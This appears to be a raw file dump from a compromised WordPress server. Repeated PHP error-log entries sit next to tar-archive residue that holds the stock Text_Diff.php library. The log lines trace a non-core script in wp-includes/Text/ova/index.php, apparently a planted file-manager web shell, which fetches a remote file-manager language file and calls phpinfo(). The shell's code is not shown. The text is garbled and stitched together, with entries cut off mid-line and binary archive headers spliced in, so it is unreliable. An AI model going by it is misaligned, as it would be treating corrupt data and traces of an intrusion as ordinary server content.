/home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 PKj[Y:: Diff.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } PKj[,6=ee error_lognu[[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable 